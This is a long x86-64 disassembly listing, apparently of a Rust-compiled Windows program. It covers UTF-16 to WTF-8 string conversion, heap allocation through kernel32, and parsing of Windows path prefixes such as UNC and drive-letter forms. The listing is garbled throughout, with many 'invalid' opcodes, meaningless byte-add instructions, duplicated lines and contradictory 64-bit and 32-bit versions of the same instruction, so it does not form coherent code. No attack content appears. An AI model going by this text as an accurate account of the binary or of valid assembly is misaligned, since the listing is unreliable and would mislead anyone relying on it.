cmp r14b, 2
cmp r14b, 2
jne 0x14007de33
mov rdi, qword [rbp + 0xf0]
mov r11, qword [rbp + 0x118]
cmp byte [rbp + 0x12f], 2
cmove r11, qword [rbp + 0x108]
mov rax, qword [rbp + 0x120]
lea r13, [rax + r11]
mov rbx, qword [rdi + 0x20]
mov rsi, qword [rdi + 0x28]
xor ecx, ecx
lea r15, [0x1400e96d0]
mov r12b, 1
cmp rcx, r11
je 0x14007df77
mov rax, qword [rbp + 0x120]
lea rdx, [rax + rcx]
mov r14, rcx
mov r8, rdx
jmp 0x14007dd2f
add r8, 2
cmp rax, r13
cmovne rax, r8
mov r10d, 2
nop word [rax + rax]
add r14, r10
mov r8, rax
invalid
ror byte [rcx + rdi - 0x18], 0xf
test byte [rbx + 2], cl
add al, byte [rax]
invalid
cmp rax, r13
je 0x14007df7a
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rcx - 0x73], cl
add dword [rbp + 0xf], eax
mov dh, 8
lea rax, [r8 + 1]
movzx r9d, byte [r8]
mov r10d, 1
test r9b, r9b
jns 0x14007dd20
fiadd word [rcx - 0x80]
stc
loopne 0x14007ddb9
cmp r9b, 0xe0
jb 0x14007dd06
invalid
mov esi, 0xedf98041
cmp r9b, 0xed
jne 0x14007dd7a
cmp rax, r13
je 0x14007df7a
lea rax, [r8 + 2]
cmp rax, r13
je 0x14007df7a
cmp byte [r8 + 1], 0x9f
ja 0x14007ddb4
add r8, 3
mov r10d, 3
add byte [rax], al
invalid
rol byte [rbx], 0x41
mov edx, 3
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 0x40], cl
mov rax, r8
jmp 0x14007dd20
add r8, 2
cmp rax, r13
cmove r8, rax
xor eax, eax
cmp r8, r13
setne al
add rax, r8
add eax, eax
add eax, eax
mov r10d, 3
add byte [rax], al
cmp r9b, 0xf0
jb 0x14007dd20
xor r8d, r8d
cmp rax, r13
call 0x1009cece7
call 0x1009cece7
add rax, r8
rol byte [rcx - 0x46], 4
add byte [rax], al
add cl, ch
invalid
insb byte [rdi], dx
invalid
mov r10d, 4
add al, 0
add byte [rax], al
jmp 0x14007dd20
dec dword [rbp - 0x77]
mov r8, r14
sub r8, rcx
jb 0x14007e024
invalid
invalid
enter 0xffffffffffff820f, 0x64
add al, byte [rax]
add byte [rax - 0x77], cl
mov ebp, 0xf0
lock add byte [rax], al
invalid
mov qword [rbp + 0xf0], rdi
lock add byte [rax], al
add byte [rcx + rcx*4 - 0x63], cl
sbb byte [rcx], al
add byte [rax], al
mov qword [rbp + 0x118], r11
cmp r14, r11
ja 0x14007e00c
fimul word [rdi]
xchg dword [0x18807ddda], esi
mov rdi, qword [rsi + 0x18]
mov edi, dword [rsi + 0x18]
jle 0x14007ddf3
sbb byte [rax - 0x77], cl
fcos
call rdi
mov rcx, rbx
call rdi
test al, al
jne 0x14007dfa6
mov esi, 0x41000001
mov eax, 3
mov r8d, 3
mov rcx, rbx
mov ecx, ebx
mov rdx, r15
cli
call rdi
xlatb
test al, al
jne 0x14007dfa6
ror byte [rdi], 0x85
test al, 1
add byte [rax], al
add r14, 3
mov rcx, r14
add ecx, dword [rcx + rcx*4 - 0xf]
mov r11, qword [rbp + 0x118]
add dword [rax], eax
add byte [rbp + 0x39], cl
invalid
invalid
cmp r14, r11
mov rdi, qword [rbp + 0xf0]
mov ebp, 0xf0
fimul word [rax - 0x75]
mov ebp, 0xf0
add byte [rax], al
add byte [rdi], cl
xchg dh, cl
invalid
add byte [rax], al
jbe 0x14007dcea
lea r8, str.library_std_src_sys_commonwtf8.rs
add eax, 0x6b8b5
mov rcx, r14
mov ecx, esi
mov rdx, r11
mov edx, ebx
invalid
call fcn.1400a9f20
jmp 0x14007e033
add byte [rdx], al
add byte [rax], al
mov rax, qword [rbp - 0x41]
mov qword [rbp + 0xb0], rax
mov dword [rbp + 0xb0], eax
mov dword [rbp + 0xb0], eax
movaps xmm0, xmmword [rbp - 0x60]
sub byte [rbp - 0x60], al
movaps xmm1, xmmword [rbp - 0x50]
sub byte [rbp - 0x50], cl
movups xmmword [rbp + 0xa1], xmm1
movups xmmword [rbp + 0x91], xmm0
invalid
add byte [rdi], cl
adc dword [rbp + 0x91], eax
invalid
add byte [rbx + 0x10085], cl
add byte [rcx + 0xbb85], cl
mov dword [rbp + 0xbb], eax
movzx eax, byte [rbp + 0x104]
add al, 1
add byte [rax], al
mov eax, dword [rbp + 0x100]
mov dword [rbp + 0xbb], eax
movzx eax, byte [rbp + 0x104]
add al, 1
add byte [rax], al
mov byte [rbp + 0xbf], al
mov qword [rbp + 0x80], rbx
mov rax, qword [rbp + 0x110]
adc byte [rcx], al
add byte [rax], al
mov qword [rbp + 0x88], rax
mov byte [rax], al
add byte [rax], al
mov byte [rbp + 0x90], sil
add byte [rax], al
add byte [rax - 0x77], cl
popfq
add byte [rax], 0
add byte [rax - 0x75], cl
test dword [rax], edx
adc byte [rcx], al
add byte [rax], al
mov qword [rbp + 0x88], rax
mov byte [rax], al
add byte [rax], al
mov byte [rbp + 0x90], sil
mov byte [rbp + 0xb8], dil
mov byte [rbp + 0xb9], r15b
mov ebp, 0xb9
invalid
add byte [rax], al
add byte [rax], al
mov ecx, 0x44000000
mov byte [rbp + 0xba], dh
mov ch, 0xba
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov byte [rbp + 0xba], r14b
mov ch, 0xba
add byte [rax], al
add byte [rax], al
lea rcx, [rbp + 0x80]
invalid
xchg esi, eax
lea rcx, [rbp + 0x80]
add byte [rax], al
call fcn.14007ee40
sldt word [rax]
test rax, rax
mov rdi, qword [rbp + 0xf0]
mov edi, dword [rbp + 0xf0]
mov edi, dword [rbp + 0xf0]
mov r11, qword [rbp + 0x118]
sbb byte [rcx], al
add byte [rax], al
je case.default.0x14007d9d3
std
invalid
mov r8, rdx
mov eax, edx
lea rcx, [rbp + 0x80]
mov rdx, rax
mov edx, eax
mov edx, eax
call fcn.140043490
mov r11, qword [rbp + 0x118]
popfq
sbb byte [rcx], al
add byte [rax], al
dec dword [rbx + rcx*4 - 0x63]
popfq
sbb byte [rcx], al
add byte [rax], al
cmp qword [rbp + 0x80], 0
jne case.default.0x14007d9d3
std
invalid
invalid
mov ebp, 0x80
add byte [rdi], cl
test esp, edx
std
invalid
mov rax, qword [rbp + 0x88]
mov rcx, qword [rbp + 0x90]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rcx
lea rax, [0x1400e9540]
mov qword [rbp + 0x10], rax
lea rax, [fcn.1400451c0]
cld
dec dword [rax - 0x77]
sbb byte [r8 - 0x73], r9b
ror byte [r8 - 0x77], 1
and byte [r8 - 0x73], r9b
add eax, 0xfffd364d
cld
dec dword [rax - 0x77]
sbb byte [r8 - 0x73], r9b
ror byte [r8 - 0x77], 1
and byte [r8 - 0x73], r9b
add eax, 0xfffd364d
std
dec dword [rax - 0x77]
sub byte [r8 - 0x73], r9b
add eax, 0x6b5f2
mov qword [rbp + 0x28], rax
lea rax, [0x1400e9520]
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], 2
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], esp
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
adc byte [r8 - 0x77], r9b
invalid
nop
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], esp
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
adc byte [r8 - 0x77], r9b
test dword [rax + 0x48000000], edx
mov qword [rbp + 0x98], 2
mov qword [rbp + 0x98], 2
add byte [rax - 0x75], cl
and byte [r8 - 0x75], r9b
push rdi
sub byte [rbp + rcx*4 - 0x7b], cl
add byte [rax], 0
add al, ch
mov rcx, qword [rdi + 0x20]
mov rdx, qword [rdi + 0x28]
lea r8, [rbp + 0x80]
call fcn.140042240
retf
cld
invalid
jmp 0x14007dfa3
retf
mov rcx, r11
sub r11, rcx
mov rax, qword [rbp + 0x120]
lea rdx, [rax + rcx]
test rcx, rcx
je 0x14007df98
mov rcx, rbx
mov r8, r11
call qword [rsi + 0x18]
push rsi
sbb bl, ch
invalid
push rsi
sbb bl, ch
or ecx, dword [rax - 0x77]
stc
mov rcx, rdi
mov r8, r11
call fcn.140041f10
mov r12d, eax
cmp byte [rbp + 0x12f], 2
je 0x14007dfcf
cmp qword [rbp + 0x108], 0
cmp dword [rbp + 0x108], 0
je 0x14007dfcf
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x120]
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, r12d
add rsp, 0x1b8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r8, str.library_std_srcpath.rs
mov rdx, qword [rbp + 0x110]
call fcn.1400a9f20
jmp 0x14007e033
lea r8, str.library_std_srcpath.rs
mov rdx, r12
call fcn.1400a9f20
jmp 0x14007e033
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, r14
mov rdx, qword [rbp + 0x118]
call fcn.1400aa020
jmp 0x14007e033
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rdx, r14
call fcn.1400aa2f0
add al, byte [rax]
add al, byte [rax]
ud2
mov rbx, r8
mov rdi, rdx
mov rsi, rcx
test r8, r8
je 0x14007e118
js 0x14007e354
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
test rcx, rcx
test ecx, ecx
jne case.0x140032218.1036
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14007e109
mov rcx, rax
mov qword [0x1400f91f8], rax
xor edx, edx
mov r8, rbx
mov eax, ebx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
jne 0x14007e11d
mov ecx, 1
mov rdx, rbx
call fcn.1400a9e00
add byte [rdi], cl
invalid
mov eax, 1
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], 0
mov byte [rbp - 0x10], 1
lea r13, [rdi + rbx*2]
pop rdi
xor r15d, r15d
lea rbx, [rbp - 0x28]
lea r14, [rbp - 4]
jmp 0x14007e16c
mov rcx, qword [rbp - 0x28]
add rcx, r12
mov rdx, r14
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
add r12, r15
mov qword [rbp - 0x18], r12
xor r15d, r15d
test r15w, r15w
je 0x14007e1f0
mov ecx, esi
mov eax, ecx
and eax, 0xf800
cmp eax, 0xd800
jne 0x14007e212
movzx edx, cx
cmp edx, 0xdbff
ja 0x14007e30b
test byte [rdx + 1], dh
add byte [rax], al
movzx eax, word [rdi]
add rdi, 2
mov r8d, eax
add r8d, 0x2000
add eax, 0x2000
add eax, 0x2000
add byte [rbp + 0xf], al
mov bh, 0xc0
movzx r8d, r8w
cmp r8d, 0xfc00
jb 0x14007e318
movzx eax, ax
and ecx, 0x3ff
and eax, 0x3ff
shl rcx, 0x1a
shl rax, 0x10
or rax, rcx
movabs rcx, 0x100000000
add rax, rcx
jmp 0x14007e219
cmp rdi, r13
je 0x14007e330
movzx ecx, word [rdi]
add rdi, 2
mov eax, ecx
and eax, 0xf800
cmp eax, 0xd800
je 0x14007e186
movzx eax, cx
shl rax, 0x10
mov rcx, rax
shr rcx, 0x10
mov dword [rbp - 4], 0
cmp ecx, 0x80
jae 0x14007e240
add byte [rax], al
add cl, ch
movabs dword [0xf981001f0f000000], eax
stc
stc
add byte [rax], cl
add byte [rax], al
jae 0x14007e270
shr eax, 0x16
or al, 0xc0
mov byte [rbp - 4], al
and cl, 0x3f
loope 0x14007e292
loope 0x14007e292
or cl, 0x80
mov byte [rbp - 3], cl
std
std
mov r15d, 2
jmp 0x14007e2e0
nop word cs:[rax + rax]
mov rdx, rax
cmp ecx, 0xffff
stc
invalid
inc dword [rax]
add byte [rdi + 0x25], dh
stc
invalid
shr rdx, 0x1c
or dl, 0xe0
mov byte [rbp - 4], dl
shr eax, 0x16
and al, 0x3f
or al, 0x80
mov byte [rbp - 3], al
and cl, 0x3f
or cl, 0x80
mov byte [rbp - 2], cl
mov r15d, 3
jmp 0x14007e2e0
shr rdx, 0x22
or dl, 0xf0
mov byte [rbp - 4], dl
mov rdx, rax
shr rdx, 0x1c
and dl, 0x3f
or dl, 0x80
mov byte [rbp - 3], dl
shr eax, 0x16
and al, 0x3f
or al, 0x80
mov byte [rbp - 2], al
and cl, 0x3f
or cl, 0x80
mov byte [rbp - 1], cl
mov r15d, 4
nop word cs:[rax + rax]
mov rax, qword [rbp - 0x20]
mov r12, qword [rbp - 0x18]
sub rax, r12
cmp rax, r15
jae 0x14007e150
mov rcx, rbx
mov rdx, r12
mov r8, r15
call fcn.1400ab0a0
mov r12, qword [rbp - 0x18]
jmp 0x14007e150
mov r15w, 1
mov esi, eax
mov byte [rbp - 0x10], 0
mov rcx, rbx
call fcn.14007f2e0
add cl, ch
cmp al, 0xfe
invalid
invalid
add cl, ch
cmp al, 0xfe
invalid
dec dword [rdi]
adc byte [rbp - 0x28], al
movups xmm0, xmmword [rbp - 0x28]
movups xmm1, xmmword [rbp - 0x18]
mov rax, qword [rbp - 0x30]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.1400402a0
ud2
add byte [rax + 0x28c48348], dl
pop rbx
pop rdi
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
and al, 0x20
mov rdx, rdi
mov r8, rsi
call fcn.14007e4f0
movzx eax, byte [rsp + 0x20]
and al, 0x20
and al, 0x20
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
push rsp
and al, 0x40
invalid
movzx r8d, al
lea r9, [0x1400f067c]
add byte [rdi + 0x63], cl
adc al, 0x81
movsxd r10, dword [r9 + r8*4]
add r10, r9
mov r8, rsi
mov r9, rdi
retf 0x8949
jmp r10
jmp rdx
add rcx, 4
jmp 0x14007e430
invalid
xor al, 0x4c
lea eax, [rdx + 1]
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 8
jmp 0x14007e430
invalid
mov ecx, 6
invalid
add byte [rax], al
add bl, ch
sbb dword [rbp + rcx*4 + 0x42], ecx
lea r8, [rdx + 1]
invalid
invalid
jmp 0x14007e430
lea r8, [rdx + 1]
lea eax, [rdx + 1]
test rdx, rdx
cmove r8, rdx
ror byte [rdi + rcx + 0x44], cl
ret 0x14c
invalid
invalid
add rcx, r8
add rcx, 2
add ecx, 2
rol dword [rdx], 0xeb
add eax, 0x2b9
mov ecx, 2
mov r8, rsi
jmp 0x14007e430
mov ecx, 2
mov r8, rsi
sub r8, rcx
jb 0x14007e4dc
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 1], cl
stc
add rcx, rdi
mov r9, rcx
test r8, r8
test eax, eax
je case.0x14007daa2.14
movzx ecx, byte [r9]
cmp ecx, 0x2f
je 0x14007e459
cmp ecx, 0x5c
je 0x14007e459
cmp al, 4
ja case.default.0x14007e48a
lea rcx, [rsp + 0x20]
mov rdx, rdi
mov r8, rsi
call fcn.14007e4f0
movzx eax, byte [rsp + 0x20]
mov rcx, qword [rsp + 0x30]
and al, 0x30
and al, 0x30
xor byte [rax - 0x75], cl
push rsp
and al, 0x40
mov rdx, qword [rsp + 0x40]
movzx r8d, al
ror byte [rbp + rcx*4 + 0xd], 0x15
and al, byte [rdi]
add byte [rdi + 0x63], cl
add al, 0x81
lea r9, [0x1400f0698]
movsxd r8, dword [r9 + r8*4]
add r8, r9
jmp r8
add rcx, 4
rol dword [rbx + rbp*8], 0x38
jmp 0x14007e4cb
xor eax, eax
jmp 0x14007e4d5
invalid
lea r8, ds:[rdx + 1]
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 8
jmp 0x14007e4cb
invalid
and byte [rcx + 6], bh
mov ecx, 6
jmp 0x14007e4cb
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 2
jmp 0x14007e4cb
add dword [rax - 0x7b], ecx
ror byte [rdi + rcx + 0x44], cl
ret 0x14c
mov ecx, 2
add al, byte [rax]
add byte [rax], al
cmp rcx, rsi
ja 0x14007e4dc
cmp al, 6
setne al
add rsp, 0x48
pop rdi
pop rsi
ret
invalid
lea r8, str.library_std_srcpath.rs
mov rdx, rsi
call fcn.1400a9f20
ud2
push rsi
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x20
test r8, r8
je 0x14007e52b
movzx esi, byte [rdx]
cmp sil, 0x2f
mov edi, 0x5c
cmove esi, edi
cmp r8, 1
jne 0x14007e544
xor r10d, r10d
xor ebp, ebp
xor r11d, r11d
xor r9d, r9d
xor r14d, r14d
xor ebx, ebx
xor edi, edi
jmp 0x14007e614
invalid
add byte [rbp + 0x31], al
sal byte [rcx], cl
in eax, dx
xor r10d, r10d
xor ebp, ebp
xor r11d, r11d
xor r9d, r9d
xor r14d, r14d
xor ebx, ebx
xor edi, edi
xor esi, esi
jmp 0x14007e614
movzx eax, byte [rdx + 1]
cmp al, 0x2f
cmovne edi, eax
clc
clc
cmp r8, 2
cmp eax, 2
jne case.0x14007cc61.458
xor r10d, r10d
xor ebp, ebp
xor r11d, r11d
xor r9d, r9d
xor r14d, r14d
xor ebx, ebx
jmp 0x14007e614
fucomi st(1)
lodsb al, byte [rsi]
add byte [rax], al
add byte [rdi], cl
movzx ebx, byte [rdx + 2]
cmp bl, 0x2f
mov r14d, 0x5c
mov esi, 0x5c
invalid
invalid
movzx ebx, byte [rdx + 2]
cmp bl, 0x2f
mov r14d, 0x5c
mov esi, 0x5c
mov esi, 0x5c
cmove ebx, r14d
cmp r8, 3
jne 0x14007e592
fimul word [rcx - 0x7d]
clc
add esi, dword [rbp + 0x13]
xor r10d, r10d
xor ebp, ebp
xor r11d, r11d
fild dword [rbp + 0x31]
leave
fild dword [rbp + 0x31]
leave
xor r14d, r14d
jmp 0x14007e614
movzx eax, byte [rdx + 3]
cmp al, 0x2f
add edi, dword [rdi + r13]
cmovne r14d, eax
cmovne esi, eax
cmp r8, 4
jne 0x14007e5af
xor r10d, r10d
xor ebp, ebp
xor r11d, r11d
xor r9d, r9d
jmp 0x14007e614
movzx r9d, byte [rdx + 4]
cmp r9b, 0x2f
stc
invalid
add al, 0x41
cmp cl, 0x2f
stc
invalid
stc
invalid
mov r11d, 0x5c
cmove r9d, r11d
cmp r8, 5
jne 0x14007e5d2
xor r10d, r10d
xor edx, edx
xor ebp, ebp
xor r11d, r11d
jmp 0x14007e614
movzx eax, byte [rdx + 5]
cmp al, 0x2f
cmovne r11d, eax
cmp r8, 6
invalid
jne 0x14007e5e9
invalid
xor r10d, r10d
xor ebp, ebp
jmp 0x14007e614
movzx ebp, byte [rdx + 6]
cmp bpl, 0x2f
cmp ch, 0x2f
cmp ch, 0x2f
mov r10d, 0x5c
add byte [rax], al
cmove ebp, r10d
cmp r8, 7
cmp eax, 7
cmp eax, 7
jne case.0x140076169.406
xor r10d, r10d
jmp 0x14007e614
movzx eax, byte [rdx + 7]
cmp al, 0x2f
cmovne r10d, eax
shl r10, 0x38
cmp r8, 8
mov eax, 8
or byte [rax], al
add byte [rax], al
cmovb rax, r8
ror byte [rax - 0x7d], 0xf8
add dh, byte [rdx + 0x73]
movzx edi, dil
shl rdi, 8
movzx esi, sil
or rsi, rdi
cmp esi, 0x5c5c
jne 0x14007e69a
mov esi, eax
and esi, 0xe
cmp esi, 2
je 0x14007e6d7
add byte [rax], al
add byte [rcx + 0xf], al
movzx esi, r14b
movzx esi, r14b
shl esi, 8
movzx edi, bl
or edi, esi
movzx esi, di
mov bh, 0xf7
cmp esi, 0x5c2e
add byte [rax], al
add byte [rdi], cl
test byte [rbx], ah
add dword [rax], eax
add byte [rcx + 0x5c3ffe], al
cmp esi, 0x5c3f
jne 0x14007e6d7
je 0x14007e78a
cmp esi, 0x5c3f
invalid
jne 0x14007e6d7
push 0x3f88349
cmp r8, 3
jbe 0x14007e934
mov ebx, 0x80000002
cmp ch, byte [rdi]
add byte [rax], al
cmp byte [rdx], 0x2f
je 0x14007e694
cmp byte [rdx + 1], 0x2f
je 0x14007e694
invalid
cmp byte [rdx + 2], 0x2f
je 0x14007e694
jp 0x14007e689
invalid
or al, byte [rax + 0xf2f037a]
test dword [0x18d07e696], esi
add dword [rax], eax
add byte [rbp - 0x73], cl
push rax
invalid
cmp byte [rdx + 3], 0x2f
add ebp, dword [rdi]
jne 0x14007e7c9
add dword [rax], eax
add byte [rbp - 0x73], cl
push rax
invalid
lea r10, [r8 - 2]
jmp 0x14007e6e4
cmp r8, 2
jb 0x14007e77c
cmp byte [rdx + 1], 0x3a
add dword [rdx], edi
jne 0x14007e77c
movzx eax, byte [rdx]
mov edx, eax
and dl, 0xdf
add dl, 0xbf
cmp dl, 0x1a
jae 0x14007e77c
cmp al, 0x61
setae dl
shl dl, 5
xor dl, al
mov byte [rcx], 5
mov byte [rcx + 1], dl
jmp 0x14007e77f
add byte [rax], al
add byte [rax], al
mov r10, r8
add r10, 0xfffffffffffffffe
je 0x14007e77c
lea rax, [rdx + 2]
add rdx, 3
add r8, 0xfffffffffffffffc
xor r9d, r9d
nop word cs:[rax + rax]
movzx r11d, byte [rdx - 1]
cmp r11d, 0x2f
je 0x14007e722
cmp r11d, 0x5c
pop rsp
je 0x14007e722
inc r9
inc rdx
dec r8
cmp r8, 0xfffffffffffffffe
jne 0x14007e700
jmp 0x14007e77c
lea r11, [r9 + 1]
sub r10, r11
je 0x14007e77c
lea r11, [rax + r9]
inc r11
neg r8
xor esi, esi
nop word [rax + rax]
movzx edi, byte [rdx + rsi]
cmp edi, 0x2f
invalid
je 0x14007e75d
invalid
cmp edi, 0x5c
je 0x14007e75d
lea rdi, [rsi + 1]
add rsi, r8
mov rsi, rdi
jne 0x14007e740
mov rsi, r10
test r9, r9
je 0x14007e77c
test rsi, rsi
je 0x14007e77c
mov byte [rcx], 4
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], r9
mov qword [rcx + 0x18], r11
mov qword [rcx + 0x20], rsi
jmp 0x14007e77f
mov byte [rcx], 6
add rsp, 0x20
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
cmp r8, 3
jbe 0x14007e94d
add rdx, 4
xor eax, eax
add r8, 0xfffffffffffffffc
je 0x14007e7bc
movzx r9d, byte [rdx + rax]
cmp r9d, 0x2f
je 0x14007e7bc
cmp r9d, 0x5c
je 0x14007e7bc
inc rax
cmp r8, rax
cmp eax, eax
cmp eax, eax
jne 0x14007e7a0
mov rax, r8
mov byte [rcx], 3
mov qword [rcx + 8], rdx
mov qword [rcx + 0x10], rax
adc bl, ch
invalid
adc bl, ch
mov dh, 0x48
cmp eax, 4
cmp rax, 4
jb 0x14007e966
and eax, 0xc
cmp eax, 4
je 0x14007e860
movzx eax, bpl
shl rax, 0x30
or rax, r10
movzx r10d, r11b
shl r10, 0x28
movzx r9d, r9b
shl r9, 0x20
or r9, r10
or r9, rax
movabs rax, 0x5c434e5500000000
cmp r9, rax
jne 0x14007e860
cmp r8, 7
jbe 0x14007e97c
lea rax, [rdx + 8]
mov rsi, r8
lea r9, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
add rsi, 0xfffffffffffffff8
je 0x14007e8d3
add rdx, 9
add r8, 0xfffffffffffffff6
xor r11d, r11d
xor r10d, r10d
cmp byte [rdx - 1], 0x5c
je 0x14007e8eb
call [rdi + rcx - 0x7c]
movabs byte [0xff48c2ff49000000], al
ret 0xff49
inc r10
inc rdx
dec r8
cmp r8, 0xfffffffffffffffe
jne 0x14007e83f
mov r10, rsi
jmp 0x14007e91c
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
add al, 0x4d
lea r9, [r8 - 4]
lea rax, [rdx + 4]
lea r9, [r8 - 4]
cmp r9, 3
jae 0x14007e87c
cmp r8, 4
je 0x14007e8db
cmp r8, 6
je 0x14007e88d
jmp 0x14007e8bd
movzx r10d, byte [rdx + 6]
cmp r10d, 0x2f
je 0x14007e88d
invalid
cmp r10d, 0x5c
jne 0x14007e8bd
cmp byte [rdx + 5], 0x3a
jne 0x14007e8bd
movzx edx, byte [rax]
mov r10d, edx
and r10b, 0xdf
add r10b, 0xbf
cmp r10b, 0x19
ja 0x14007e8bd
cmp dl, 0x61
setae al
shl al, 5
xor al, dl
mov byte [rcx], 2
mov byte [rcx + 1], al
jmp 0x14007e77f
add r8, 0xfffffffffffffffc
xor edx, edx
cmp byte [rax + rdx], 0x5c
je 0x14007e8d8
inc rdx
cmp r8, rdx
jne 0x14007e8c3
jmp 0x14007e8db
xor r10d, r10d
jmp 0x14007e919
mov r9, rdx
mov byte [rcx], 0
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], r9
jmp 0x14007e77f
lea r11, [r10 + 1]
lea r9, [rax + r10]
inc r9
sub rsi, r11
je 0x14007e919
neg r8
xor r11d, r11d
cmp byte [rdx + r11], 0x5c
je 0x14007e91c
lea rdi, [r11 + 1]
add r11, r8
mov r11, rdi
jne 0x14007e901
mov r11, rsi
jmp 0x14007e91c
xor r11d, r11d
mov byte [rcx], 1
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], r10
mov qword [rcx + 0x18], r9
mov qword [rcx + 0x20], r11
jmp 0x14007e77f
invalid
invalid
invalid
invalid
lea rax, str.library_std_src_syswindowspath.rs
mov ecx, 4
mov rdx, r8
mov r8, rax
call fcn.1400aa020
ud2
lea rax, str.library_std_src_syswindowspath.rs
mov ecx, 4
mov rdx, r8
mov r8, rax
call fcn.1400a9f20
ud2
lea r8, str.library_std_src_syswindowspath.rs
mov ecx, 4
mov rdx, rax
call fcn.1400a9f20
ud2
lea rax, str.library_std_src_syswindowspath.rs
mov ecx, 8
mov rdx, r8
mov r8, rax
call fcn.1400a9f20
ud2
int3
add byte [rax], al
mov rdi, rdx
movzx ebp, byte [rdx + 0x39]
cmp bpl, 3
cmp ch, 3
cmp ch, 3
je 0x14007ec42
cmp r13b, bpl
ja 0x14007ec42
mov rsi, qword [rdi]
mov r11, qword [rdi + 8]
pop rdi
invalid
movzx r8d, byte [rdi + 0x10]
xor eax, eax
cmp r8, 3
clc
add ecx, dword [rdi]
xchg ebx, eax
rol byte [rbp + rcx*4 + 0x74], 0x40
invalid
movzx r15d, byte [rdi + 0x3a]
mov rax, qword [rdi + 0x20]
invalid
invalid
and byte [r8 - 0x75], r9b
push rdi
mov rdx, qword [rdi + 0x30]
lea r9, [rdx + 1]
test rdx, rdx
cmove r9, rdx
lea rdx, [rax + r9 + 2]
mov qword [rsp + 0x30], rdx
lea rdx, [rax + r9]
lea edx, [rax + rcx]
xor byte [rbp + rcx*4 + 0x4a], cl
add dword [rax - 0x7b], ecx
ror byte [rdi + rcx + 0x44], cl
retf 0x8d4a
lea edx, [rax + rcx]
add rdx, 8
mov qword [rsp + 0x28], rdx
add rax, 4
add al, 0x4c
lea esp, [0x1400f06b4]
xchg dword [rdi + rax], ebx
invalid
ret 0x4808
add al, 0x4c
lea esp, [0x1400f06b4]
xchg dword [rdi + rax], ebx
invalid
xchg dword [rdi + rax], ebx
add byte [rcx + rcx*4 - 0x26], cl
mov rdx, r11
jmp 0x14007ea56
mov byte [rdi + 0x38], 1
cmp byte [r9], r8b
mov r13b, 1
mov r10, rsi
mov edx, esi
mov rsi, r10
cmp r13b, bpl
ja 0x14007ec42
test r13b, r13b
je 0x14007ead0
movzx r9d, r13b
cmp r9d, 1
jne 0x14007eb00
invalid
xchg edi, eax
add byte [rax], al
invalid
test dword [rdi - 0x3a000000], edx
cmp byte [r10], r8b
mov byte [rdi + 0x38], 2
test r15b, r15b
jne 0x14007ec23
invalid
mov r13b, 2
mov ch, 2
cmp r8d, 3
jb 0x14007ea47
cmp r8d, 5
je 0x14007ea47
cmp r8d, 6
jne 0x14007ec7c
test rdx, rdx
je 0x14007ebed
test byte [rbp + 1], dl
add byte [rax], al
movzx r9d, byte [rsi]
cmp rdx, 1
je 0x14007ebf4
invalid
add byte [rcx - 0x80], al
stc
jne 0x14007ebf4
invalid
cmp r9b, 0x2e
jne 0x14007ebf4
invalid
add byte [rdi + rcx - 0x4a], al
add qword [rcx - 0x7d], r8
add dword [rcx - 0x7d], eax
cmp r9d, 0x2f
movzx r9d, byte [rsi + 1]
cmp r9d, 0x2f
je case.0x1400861b2.38
cmp r9d, 0x5c
stc
pop rsp
jne 0x14007ea47
jmp case.0x1400861b2.38
add byte [rax], al
nop word [rax + rax]
nop dword [rax + rax]
nop dword [rax + rax]
cmp r8b, 6
cmp al, 6
je 0x14007ea40
invalid
movsxd r10, dword [r12 + r8*4]
add r10, r12
mov r9, rax
jmp r10
nop word cs:[rax + rax]
test rdx, rdx
je 0x14007ec3e
xor r9d, r9d
cmp r8b, 3
jae 0x14007eb40
nop word cs:[rax + rax]
cmp byte [rsi + r9], 0x5c
je 0x14007eb85
inc r9
cmp rdx, r9
jne 0x14007eb20
jmp 0x14007eb59
movzx r10d, byte [rsi + r9]
cmp r10d, 0x2f
je 0x14007eb85
cmp r10d, 0x5c
je 0x14007eb85
inc r9
cmp rdx, r9
jne 0x14007eb40
xor r10d, r10d
mov r9, rdx
test r9, r9
jne 0x14007eb90
mov r11, rdx
sub r11, r10
jb 0x14007ed0b
add r10, rsi
mov qword [rdi], r10
mov qword [rdi + 8], r11
mov r13b, 2
